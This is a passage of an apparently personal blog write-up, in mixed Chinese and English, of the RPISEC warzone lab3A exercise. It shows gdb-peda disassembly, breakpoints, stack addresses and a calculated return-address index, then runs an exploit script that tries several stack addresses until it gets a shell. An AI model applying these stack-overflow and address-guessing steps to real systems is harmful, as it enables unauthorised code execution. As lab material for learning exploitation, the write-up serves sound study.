   0x08048b75 <+355>:	mov    DWORD PTR [esp+0x8],0x4
   0x08048b7d <+363>:	mov    DWORD PTR [esp+0x4],0x8048f63
   0x08048b85 <+371>:	lea    eax,[esp+0x1a8]
   0x08048b8c <+378>:	mov    DWORD PTR [esp],eax
   0x08048b8f <+381>:	call   0x80487a0 <strncmp@plt>
   0x08048b94 <+386>:	test   eax,eax
   0x08048b96 <+388>:	jne    0x8048bad <main+411>
   0x08048b98 <+390>:	lea    eax,[esp+0x18]
   0x08048b9c <+394>:	mov    DWORD PTR [esp],eax
   0x08048b9f <+397>:	call   0x80489c2 <read_number>
   0x08048ba4 <+402>:	mov    DWORD PTR [esp+0x1bc],eax
   0x08048bab <+409>:	jmp    0x8048bd2 <main+448>
   0x08048bad <+411>:	mov    DWORD PTR [esp+0x8],0x4
   0x08048bb5 <+419>:	mov    DWORD PTR [esp+0x4],0x8048f68
   0x08048bbd <+427>:	lea    eax,[esp+0x1a8]
   0x08048bc4 <+434>:	mov    DWORD PTR [esp],eax
   0x08048bc7 <+437>:	call   0x80487a0 <strncmp@plt>
   0x08048bcc <+442>:	test   eax,eax
   0x08048bce <+444>:	jne    0x8048bd2 <main+448>
   0x08048bd0 <+446>:	jmp    0x8048c30 <main+542>
   0x08048bd2 <+448>:	cmp    DWORD PTR [esp+0x1bc],0x0
   0x08048bda <+456>:	je     0x8048bf5 <main+483>
   0x08048bdc <+458>:	lea    eax,[esp+0x1a8]
   0x08048be3 <+465>:	mov    DWORD PTR [esp+0x4],eax
   0x08048be7 <+469>:	mov    DWORD PTR [esp],0x8048f6d
   0x08048bee <+476>:	call   0x8048700 <printf@plt>
   0x08048bf3 <+481>:	jmp    0x8048c0c <main+506>
   0x08048bf5 <+483>:	lea    eax,[esp+0x1a8]
   0x08048bfc <+490>:	mov    DWORD PTR [esp+0x4],eax
   0x08048c00 <+494>:	mov    DWORD PTR [esp],0x8048f88
   0x08048c07 <+501>:	call   0x8048700 <printf@plt>
   0x08048c0c <+506>:	mov    DWORD PTR [esp+0x8],0x14
   0x08048c14 <+514>:	mov    DWORD PTR [esp+0x4],0x0
   0x08048c1c <+522>:	lea    eax,[esp+0x1a8]
   0x08048c23 <+529>:	mov    DWORD PTR [esp],eax
   0x08048c26 <+532>:	call   0x8048780 <memset@plt>
   0x08048c2b <+537>:	jmp    0x8048aec <main+218>
   0x08048c30 <+542>:	mov    eax,0x0
   0x08048c35 <+547>:	lea    esp,[ebp-0x8]
   0x08048c38 <+550>:	pop    ebx
   0x08048c39 <+551>:	pop    edi
   0x08048c3a <+552>:	pop    ebp
   0x08048c3b <+553>:	ret
End of assembler dump.
gdb-peda$



on line 78, 我们可以下断点在这里,进入store_number之前,会push arg进去,就能获取到 arg的地址;
on line 123, 我们可以断点 ret, 值得注意 虽然是在 store_number 对data[]进行操作,但是 data是存在 main函数的stack上,所以直接断点main函数 的ret就行了;

gdb-peda$ b *main+341
Breakpoint 1 at 0x8048b67
gdb-peda$ b *main+553
Breakpoint 2 at 0x8048c3b
gdb-peda$

r ,enter the command store:

gdb-peda$ r
Starting program: /levels/lab03/lab3A
----------------------------------------------------
  Welcome to quend's crappy number storage service!
----------------------------------------------------
 Commands:
    store - store a number into the data storage
    read  - read a number from the data storage
    quit  - exit the program
----------------------------------------------------
   quend has reserved some storage for herself :>
----------------------------------------------------

Input command: store
[----------------------------------registers-----------------------------------]
EAX: 0xbffff548 --> 0x0
EBX: 0xbffff548 --> 0x0
ECX: 0x65 ('e')
EDX: 0xbffff6d8 ("store")
ESI: 0x0
EDI: 0xbffff6d8 ("store")
EBP: 0xbffff6f8 --> 0x0
ESP: 0xbffff530 --> 0xbffff548 --> 0x0
EIP: 0x8048b67 (<main+341>:	call   0x8048917 <store_number>)
EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x8048b5e <main+332>:	jne    0x8048b75 <main+355>
   0x8048b60 <main+334>:	lea    eax,[esp+0x18]
   0x8048b64 <main+338>:	mov    DWORD PTR [esp],eax
=> 0x8048b67 <main+341>:	call   0x8048917 <store_number>
   0x8048b6c <main+346>:	mov    DWORD PTR [esp+0x1bc],eax
   0x8048b73 <main+353>:	jmp    0x8048bd2 <main+448>
   0x8048b75 <main+355>:	mov    DWORD PTR [esp+0x8],0x4
   0x8048b7d <main+363>:	mov    DWORD PTR [esp+0x4],0x8048f63
Guessed arguments:
arg[0]: 0xbffff548 --> 0x0
[------------------------------------stack-------------------------------------]
0000| 0xbffff530 --> 0xbffff548 --> 0x0
0004| 0xbffff534 --> 0x8048f5d ("store")
0008| 0xbffff538 --> 0x5
0012| 0xbffff53c --> 0x0
0016| 0xbffff540 --> 0xb7fff55c --> 0xb7fde000 --> 0x464c457f
0020| 0xbffff544 --> 0xbffff5a8 --> 0x0
0024| 0xbffff548 --> 0x0
0028| 0xbffff54c --> 0x0
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value

Breakpoint 1, 0x08048b67 in main ()
gdb-peda$



on litne 16,23,38 分别是 eax esp 刚入栈的 data[], 以及在栈上的 data[0]= 0xbffff548;
我们继续 在data[1] 存入 1234,看看 存入的位置是否是 0xbffff54c;

gdb-peda$ c
Continuing.
 Number: 1234
 Index: 1
 Completed store command successfully
Input command: sotre
 Failed to do sotre command
Input command: store
gdb-peda$ x/xw  0xbffff54c
0xbffff54c:	0x000004d2
gdb-peda$
root@bad:~# python
Python 2.7.16 (default, Apr  6 2019, 01:42:57)
[GCC 8.3.0] on linux2
Type &quot;help&quot;, &quot;copyright&quot;, &quot;credits&quot; or &quot;license&quot; for more information.
>&gt;&gt; str(0x4d2)
'1234'
>&gt;&gt;

enter conmand quit :

gdb-peda$ c
Input command: quit
[----------------------------------registers-----------------------------------]
EAX: 0x0
EBX: 0xb7fcd000 --> 0x1a9da8
ECX: 0x74 ('t')
EDX: 0xbffff6d8 ("quit")
ESI: 0x0
EDI: 0x0
EBP: 0x0
ESP: 0xbffff6fc --> 0xb7e3ca83 (<__libc_start_main+243>:	mov    DWORD PTR [esp],eax)
EIP: 0x8048c3b (<main+553>:	ret)
EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x8048c38 <main+550>:	pop    ebx
   0x8048c39 <main+551>:	pop    edi
   0x8048c3a <main+552>:	pop    ebp
=> 0x8048c3b <main+553>:	ret
   0x8048c3c:	xchg   ax,ax
   0x8048c3e:	xchg   ax,ax
   0x8048c40 <__libc_csu_init>:	push   ebp
   0x8048c41 <__libc_csu_init+1>:	push   edi
[------------------------------------stack-------------------------------------]
0000| 0xbffff6fc --> 0xb7e3ca83 (<__libc_start_main+243>:	mov    DWORD PTR [esp],eax)
0004| 0xbffff700 --> 0x1
0008| 0xbffff704 --> 0xbffff798 --> 0x0
0012| 0xbffff708 --> 0xbffff7f4 --> 0x0
0016| 0xbffff70c --> 0xb7feccea (<call_init+26>:	add    ebx,0x12316)
0020| 0xbffff710 --> 0x1
0024| 0xbffff714 --> 0xbffff794 --> 0xbffff8bf --> 0x0
0028| 0xbffff718 --> 0xbffff734 --> 0xd04942cc
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value

Breakpoint 2, 0x08048c3b in main ()
gdb-peda$

The ret adds is 0xbffff6fc on line 11;
so the offset is 0xbffff6fc-0xbffff54c=436Bytes; 436/4=109 ;
Now we can overflow the return address at index 109 with an add passed as argument to the python-script(sys.argv[1])
Notice: GDB 可能和实际的环境的地址不一样,we can try:

lab3A@warzone:/levels/lab03$ python  /tmp/3a.py  0xbffff54c
[+] Starting program './lab3A': Done
[*] Switching to interactive mode
 Completed store command successfully
[*] Got EOF while reading in interactive
$ ls
[*] Program './lab3A' stopped with exit code -11
[*] Got EOF while sending in interactive
lab3A@warzone:/levels/lab03$ python  /tmp/3a.py  0xbffff52c
[+] Starting program './lab3A': Done
[*] Switching to interactive mode
 Completed store command successfully
[*] Got EOF while reading in interactive
$ ls
[*] Program './lab3A' stopped with exit code -11
[*] Got EOF while sending in interactive
lab3A@warzone:/levels/lab03$ python  /tmp/3a.py  0xbffff50c
[+] Starting program './lab3A': Done
[*] Switching to interactive mode
 Completed store command successfully
$ ls
lab3A  lab3A.c    lab3B  lab3B.c    lab3C  lab3C.c
$ m*t*er fucker
sh: 2: m*t*er: not found
$

最后实际的地址比GDB中的小了 64 bytes :0xbffff50c

发表评论

电子邮件地址不会被公开。 必填项已用*标注